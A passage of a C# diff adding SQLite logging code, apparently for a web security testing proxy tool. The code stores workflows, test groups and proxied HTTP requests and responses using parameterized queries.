@Info)"; + Cmd.Parameters.AddWithValue("@ID", Flow.Id); + Cmd.Parameters.AddWithValue("@LogIds", Flow.GetLogIdsAsString()); + Cmd.Parameters.AddWithValue("@LogSource", Flow.LogSource); + Cmd.Parameters.AddWithValue("@Name", Flow.Name); + Cmd.Parameters.AddWithValue("@Type", Flow.FlowType); + Cmd.Parameters.AddWithValue("@Source", Flow.FlowSource); + Cmd.Parameters.AddWithValue("@UserAgent", Flow.UserAgent); + Cmd.Parameters.AddWithValue("@Info", Flow.InfoJson); + Cmd.ExecuteNonQuery(); + } + } + return Flow.Id; + } + + internal static Workflow.Workflow GetWorkflow(int WorkflowId) + { + Workflow.Workflow Flow = null; + using (SQLiteConnection DB = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT LogIds, LogSource, Name, Type, Source, UserAgent, Info FROM Workflows WHERE ID=@ID LIMIT 1"; + cmd.Parameters.AddWithValue("@ID", WorkflowId); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + string Name = result["Name"].ToString(); + string LogSource = result["LogSource"].ToString(); + List Ids = Workflow.Workflow.ParseLogIdString(result["LogIds"].ToString()); + string UserAgent = result["UserAgent"].ToString(); + string FlowSource = result["Source"].ToString(); + string FlowType = result["Type"].ToString(); + string Info = result["Info"].ToString(); + + Workflow.WorkflowSource FlowSourceEnum = (Workflow.WorkflowSource) Enum.Parse(typeof(Workflow.WorkflowSource), FlowSource); + Workflow.WorkflowType FlowTypeEnum = (Workflow.WorkflowType) Enum.Parse(typeof(Workflow.WorkflowType), FlowType); + + Flow = new Workflow.Workflow(Ids, LogSource, UserAgent, FlowSourceEnum, FlowTypeEnum); + Flow.SetInfo(JsonConvert.DeserializeObject>(Info)); + Flow.SetName(Name); + Flow.SetId(WorkflowId); + } + } + } + return Flow; + } + + internal static List GetLoginRecordingWorkflowIds() + { + List WorkflowIds = new List(); + using (SQLiteConnection DB = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + DB.Open(); + using (SQLiteCommand cmd = DB.CreateCommand()) + { + cmd.CommandText = "SELECT ID FROM Workflows WHERE Type=@Type"; + cmd.Parameters.AddWithValue("@Type", Workflow.WorkflowType.Login); + using (SQLiteDataReader result = cmd.ExecuteReader()) + { + try + { + WorkflowIds.Add(Int32.Parse(result["ID"].ToString())); + } + catch { } + } + } + } + return WorkflowIds; + } + + internal static void NameWorkflow(string Name, int WorkflowId) + { + using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + MT_DB.Open(); + using (SQLiteCommand Cmd = MT_DB.CreateCommand()) + { + Cmd.CommandText = "UPDATE Workflows SET Name=@Name WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Name", Name); + Cmd.Parameters.AddWithValue("@ID", WorkflowId); + Cmd.ExecuteNonQuery(); + } + } + } + + internal static void LogMTRequest(Request Request) + { + using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + TestLogFile)) + { + MT_DB.Open(); + using (SQLiteCommand Cmd = MT_DB.CreateCommand()) + { + Cmd.CommandText = "INSERT INTO TestLog (ID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Request.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Request.Host); + Cmd.Parameters.AddWithValue("@Method", Request.Method); + Cmd.Parameters.AddWithValue("@URL", Request.URL); + Cmd.Parameters.AddWithValue("@File", Request.File); + Cmd.Parameters.AddWithValue("@Parameters", Request.GetParametersString()); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Request.GetHeadersAsString()); + if (Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Request.BinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Request.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Request.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + } + } + internal static void LogMTResponse(Response Response) + { + using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + TestLogFile)) + { + MT_DB.Open(); + using (SQLiteCommand Cmd = MT_DB.CreateCommand()) + { + Cmd.CommandText = "UPDATE TestLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Response.Code); + Cmd.Parameters.AddWithValue("@Length", Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Response.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Response.SetCookies.Count > 0))); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Response.GetHeadersAsString()); + if (Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Response.BinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Response.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Response.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Response.ID); + Cmd.ExecuteNonQuery(); + } + } + } + + //internal static void AddToTestGroup(int ID, string Group) + //{ + // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); + // string CMD = ""; + // switch(Group) + // { + // case("Red"): + // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (@ID,0,0,0,0)"; + // break; + // case ("Green"): + // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,@ID,0,0,0)"; + // break; + // case ("Blue"): + // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,@ID,0,0)"; + // break; + // case ("Gray"): + // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,0,@ID,0)"; + // break; + // case ("Brown"): + // CMD = "INSERT INTO TestGroups (Red, Green, Blue, Gray, Brown) VALUES (0,0,0,0,@ID)"; + // break; + // } + // DB.Open(); + // try + // { + // SQLiteCommand Cmd = DB.CreateCommand(); + // Cmd.CommandText = CMD; + // Cmd.Parameters.AddWithValue("@ID", ID); + // Cmd.ExecuteNonQuery(); + // } + // catch (Exception Exp) + // { + // DB.Close(); + // throw Exp; + // } + // DB.Close(); + //} + + internal static void AddToTestGroup(int ID, string Group) + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + string CMD = "INSERT INTO TestGroups (Name, ID) VALUES (@Name, @ID)"; + DB.Open(); + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = CMD; + Cmd.Parameters.AddWithValue("@Name", Group); + Cmd.Parameters.AddWithValue("@ID", ID); + Cmd.ExecuteNonQuery(); + } + } + } + + //internal static void ClearGroup(string Group) + //{ + // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); + // string CMD = ""; + // switch (Group) + // { + // case ("Red"): + // CMD = "UPDATE TestGroups SET Red=0"; + // break; + // case ("Blue"): + // CMD = "UPDATE TestGroups SET Blue=0"; + // break; + // case ("Green"): + // CMD = "UPDATE TestGroups SET Green=0"; + // break; + // case ("Gray"): + // CMD = "UPDATE TestGroups SET Gray=0"; + // break; + // case ("Brown"): + // CMD = "UPDATE TestGroups SET Brown=0"; + // break; + // } + // DB.Open(); + // try + // { + // SQLiteCommand Cmd = DB.CreateCommand(); + // Cmd.CommandText = CMD; + // Cmd.ExecuteNonQuery(); + // } + // catch (Exception Exp) + // { + // DB.Close(); + // throw Exp; + // } + // DB.Close(); + //} + + internal static void ClearGroup(string Group) + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + string CMD = "DELETE FROM TestGroups WHERE Name=@Name"; + DB.Open(); + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = CMD; + Cmd.Parameters.AddWithValue("@Name", Group); + Cmd.ExecuteNonQuery(); + } + } + } + + internal static void RenameGroup(string OldGroup, string NewGroup) + { + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + string CMD = "UPDATE TestGroups SET Name=@NewName WHERE Name=@OldName"; + DB.Open(); + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = CMD; + Cmd.Parameters.AddWithValue("@OldName", OldGroup); + Cmd.Parameters.AddWithValue("@NewName", NewGroup); + Cmd.ExecuteNonQuery(); + } + } + } + + //internal static void LoadTestGroups() + //{ + // SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile); + + // List RedGroup = new List(); + // List BlueGroup = new List(); + // List GreenGroup = new List(); + // List GrayGroup = new List(); + // List BrownGroup = new List(); + + // DB.Open(); + // try + // { + // SQLiteCommand Cmd = DB.CreateCommand(); + // Cmd.CommandText = "SELECT Red, Green, Blue, Gray, Brown FROM TestGroups"; + // SQLiteDataReader result = Cmd.ExecuteReader(); + // while (result.Read()) + // { + // try + // { + // int Red = Int32.Parse(result["Red"].ToString()); + // if (Red != 0) RedGroup.Add(Red); + // }catch { } + // try + // { + // int Green = Int32.Parse(result["Green"].ToString()); + // if (Green != 0) GreenGroup.Add(Green); + // } + // catch { } + // try + // { + // int Blue = Int32.Parse(result["Blue"].ToString()); + // if (Blue != 0) BlueGroup.Add(Blue); + // } + // catch { } + // try + // { + // int Gray = Int32.Parse(result["Gray"].ToString()); + // if (Gray != 0) GrayGroup.Add(Gray); + // } + // catch { } + // try + // { + // int Brown = Int32.Parse(result["Brown"].ToString()); + // if (Brown != 0) BrownGroup.Add(Brown); + // } + // catch { } + // } + // RedGroup.Sort(); BlueGroup.Sort(); GreenGroup.Sort(); GrayGroup.Sort(); BrownGroup.Sort(); + // foreach (int ID in RedGroup) + // { + // try + // { + // Session Irse = Session.FromTestLog(ID); + // ManualTesting.RedGroupSessions.Add(ID, Irse); + // ManualTesting.RedGroupID = ID; + // } + // catch { } + // } + // foreach (int ID in BlueGroup) + // { + // try + // { + // Session Irse = Session.FromTestLog(ID); + // ManualTesting.BlueGroupSessions.Add(ID, Irse); + // ManualTesting.BlueGroupID = ID; + // } + // catch { } + // } + // foreach (int ID in GreenGroup) + // { + // try + // { + // Session Irse = Session.FromTestLog(ID); + // ManualTesting.GreenGroupSessions.Add(ID, Irse); + // ManualTesting.GreenGroupID = ID; + // } + // catch { } + // } + // foreach (int ID in GrayGroup) + // { + // try + // { + // Session Irse = Session.FromTestLog(ID); + // ManualTesting.GrayGroupSessions.Add(ID, Irse); + // ManualTesting.GrayGroupID = ID; + // } + // catch { } + // } + // foreach (int ID in BrownGroup) + // { + // try + // { + // Session Irse = Session.FromTestLog(ID); + // ManualTesting.BrownGroupSessions.Add(ID, Irse); + // ManualTesting.BrownGroupID = ID; + // } + // catch { } + // } + // } + // catch (Exception Exp) + // { + // DB.Close(); + // throw Exp; + // } + // DB.Close(); + //} + + internal static void LoadTestGroups() + { + Dictionary> Groups = new Dictionary>(); + + using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) + { + DB.Open(); + using (SQLiteCommand Cmd = DB.CreateCommand()) + { + Cmd.CommandText = "SELECT Name, ID FROM TestGroups"; + using (SQLiteDataReader result = Cmd.ExecuteReader()) + { + while (result.Read()) + { + try + { + int ID = Int32.Parse(result["ID"].ToString()); + string Group = result["Name"].ToString(); + if (ID != 0) + { + if (!Groups.ContainsKey(Group)) + Groups[Group] = new List(); + Groups[Group].Add(ID); + } + } + catch { } + } + } + } + } + + Dictionary> GroupSessions = new Dictionary>(); + Dictionary CurrentGroupLogId = new Dictionary(); + foreach (string Group in Groups.Keys) + { + Groups[Group].Sort(); + foreach (int ID in Groups[Group]) + { + Session Irse = Session.FromTestLog(ID); + if (!GroupSessions.ContainsKey(Group)) + GroupSessions[Group] = new Dictionary(); + GroupSessions[Group][ID] = Irse; + + CurrentGroupLogId[Group] = ID; + } + } + lock (ManualTesting.GroupSessions) + { + ManualTesting.GroupSessions = new Dictionary>(GroupSessions); + } + lock (ManualTesting.CurrentGroupLogId) + { + ManualTesting.CurrentGroupLogId = new Dictionary(CurrentGroupLogId); + } + } + + #region LogRequestResponses + internal static void LogProxyMessages(List IronSessions, List Requests, List Responses, List OriginalRequests, List OriginalResponses, List EditedRequests, List EditedResponses) + { + using (SQLiteConnection Log = new SQLiteConnection("data source=" + ProxyLogFile)) + { + Log.Open(); + using (SQLiteTransaction InsertLogs = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + //Insert Request/Response in to DB + foreach (Session IrSe in IronSessions) + { + Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, OriginalResponseHeaders, OriginalResponseBody, BinaryOriginalResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @OriginalRequestHeaders, @OriginalRequestBody, @BinaryOriginalRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @OriginalResponseHeaders, @OriginalResponseBody, @BinaryOriginalResponse, @RoundTrip, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); + Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); + Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); + Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); + Cmd.Parameters.AddWithValue("@Edited", AsInt((IrSe.OriginalRequest != null) || (IrSe.OriginalResponse != null))); + Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsString());//IrSe.Request.GetHeadersAsStringWithoutFullURL()); + Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); + if (IrSe.Request.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); + if (IrSe.OriginalRequest != null) + { + //Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", IrSe.OriginalRequest.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", IrSe.OriginalRequest.StoredHeadersString); + if (IrSe.OriginalRequest.IsBinary) + Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.BodyString); + //Cmd.Parameters.AddWithValue("@OriginalRequestBody", IrSe.OriginalRequest.BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(IrSe.OriginalRequest.IsBinary)); + } + else + { + Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ""); + Cmd.Parameters.AddWithValue("@OriginalRequestBody", ""); + Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", 0); + } + + Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); + Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); + if (IrSe.Response.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); + if (IrSe.OriginalResponse != null) + { + //Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", IrSe.OriginalResponse.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", IrSe.OriginalResponse.StoredHeadersString); + if (IrSe.OriginalResponse.IsBinary) + Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.BodyString); + //Cmd.Parameters.AddWithValue("@OriginalResponseBody", IrSe.OriginalResponse.BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(IrSe.OriginalResponse.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.OriginalResponse.RoundTrip); + } + else + { + Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", "");//IrSe.Response.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@OriginalResponseBody", "");//IrSe.Response.BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", 0); + Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); + } + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in Requests) + { + Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@Edited", 0); + //Cmd.Parameters.AddWithValue("@File", Req.File); + Cmd.Parameters.AddWithValue("@File", Req.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in Responses) + { + Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, Edited=@Edited, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@Edited", 0); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in OriginalRequests) + { + Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited, OriginalRequestHeaders=@OriginalRequestHeaders, OriginalRequestBody=@OriginalRequestBody, BinaryOriginalRequest=@BinaryOriginalRequest, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + //Cmd.Parameters.AddWithValue("@File", Req.File); + Cmd.Parameters.AddWithValue("@Edited", 1); + //Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", Req.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@OriginalRequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in OriginalResponses) + { + Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited, OriginalResponseHeaders=@OriginalResponseHeaders, OriginalResponseBody=@OriginalResponseBody, BinaryOriginalResponse=@BinaryOriginalResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Edited", 1); + //Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@OriginalResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); + Cmd.ExecuteNonQuery(); + } + foreach (Request Req in EditedRequests) + { + Cmd.CommandText = "UPDATE ProxyLog SET SSL=@SSL, HostName=@HostName, Method=@Method, URL=@URL, Edited=@Edited, File=@File, Parameters=@Parameters, RequestHeaders=@RequestHeaders, RequestBody=@RequestBody, BinaryRequest=@BinaryRequest, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@ID", Req.ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); + Cmd.Parameters.AddWithValue("@HostName", Req.Host); + Cmd.Parameters.AddWithValue("@Method", Req.Method); + Cmd.Parameters.AddWithValue("@URL", Req.URL); + Cmd.Parameters.AddWithValue("@Edited", 1); + //Cmd.Parameters.AddWithValue("@File", Req.File); + Cmd.Parameters.AddWithValue("@File", Req.StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); + if (Req.IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.ExecuteNonQuery(); + } + foreach (Response Res in EditedResponses) + { + Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, Edited=@Edited, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", Res.Code); + Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); + Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); + Cmd.Parameters.AddWithValue("@Edited", 1); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); + if (Res.IsBinary) + Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); + Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + Cmd.Parameters.AddWithValue("@ID", Res.ID); + Cmd.ExecuteNonQuery(); + } + } + InsertLogs.Commit(); + } + } + } + + internal static void LogProxyMessages(List RequestArrs, List ResponseArrs) + { + using (SQLiteConnection Log = new SQLiteConnection("data source=" + ProxyLogFile)) + { + Log.Open(); + using (SQLiteTransaction InsertLogs = Log.BeginTransaction()) + { + using (SQLiteCommand Cmd = new SQLiteCommand(Log)) + { + foreach (Request[] ReqArr in RequestArrs) + { + Cmd.CommandText = "INSERT INTO ProxyLog (ID , SSL, HostName, Method, URL, Edited, File, Parameters, OriginalRequestHeaders, OriginalRequestBody, BinaryOriginalRequest, RequestHeaders, RequestBody, BinaryRequest, Edited, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @Edited, @File, @Parameters, @OriginalRequestHeaders, @OriginalRequestBody, @BinaryOriginalRequest, @RequestHeaders, @RequestBody, @BinaryRequest, @Edited, @Notes)"; + Cmd.Parameters.AddWithValue("@ID", ReqArr[1].ID); + Cmd.Parameters.AddWithValue("@SSL", AsInt(ReqArr[1].SSL)); + Cmd.Parameters.AddWithValue("@HostName", ReqArr[1].Host); + Cmd.Parameters.AddWithValue("@Method", ReqArr[1].Method); + Cmd.Parameters.AddWithValue("@URL", ReqArr[1].URL); + //Cmd.Parameters.AddWithValue("@File", Req.File); + Cmd.Parameters.AddWithValue("@File", ReqArr[1].StoredFile); + Cmd.Parameters.AddWithValue("@Parameters", ReqArr[1].StoredParameters); + //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); + Cmd.Parameters.AddWithValue("@RequestHeaders", ReqArr[1].StoredHeadersString); + if (ReqArr[1].IsBinary) + Cmd.Parameters.AddWithValue("@RequestBody", ReqArr[1].StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@RequestBody", ReqArr[1].BodyString); + //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); + Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(ReqArr[1].IsBinary)); + Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); + + if (ReqArr[0] == null) + { + Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ""); + Cmd.Parameters.AddWithValue("@OriginalRequestBody", ""); + Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", 0); + Cmd.Parameters.AddWithValue("@Edited", 0); + } + else + { + Cmd.Parameters.AddWithValue("@OriginalRequestHeaders", ReqArr[0].StoredHeadersString); + if (ReqArr[0].IsBinary) + Cmd.Parameters.AddWithValue("@OriginalRequestBody", ReqArr[0].StoredBinaryBodyString); + else + Cmd.Parameters.AddWithValue("@OriginalRequestBody", ReqArr[0].BodyString); + Cmd.Parameters.AddWithValue("@BinaryOriginalRequest", AsInt(ReqArr[0].IsBinary)); + Cmd.Parameters.AddWithValue("@Edited", 1); + } + + Cmd.ExecuteNonQuery(); + } + + foreach (Response[] ResArr in ResponseArrs) + { + Cmd.CommandText = "UPDATE ProxyLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, OriginalResponseHeaders=@OriginalResponseHeaders, OriginalResponseBody=@OriginalResponseBody, BinaryOriginalResponse=@BinaryOriginalResponse, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, Notes=@Notes WHERE ID=@ID"; + Cmd.Parameters.AddWithValue("@Code", ResArr[1].Code); + Cmd.Parameters.AddWithValue("@Length", ResArr[1].BodyLength); + Cmd.Parameters.AddWithValue("@MIME", ResArr[1].ContentType); + Cmd.Parameters.AddWithValue("@Edited", 0); + Cmd.Parameters.AddWithValue("@SetCookie", AsInt((ResArr[1].SetCookies.Count > 0))); + //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); + 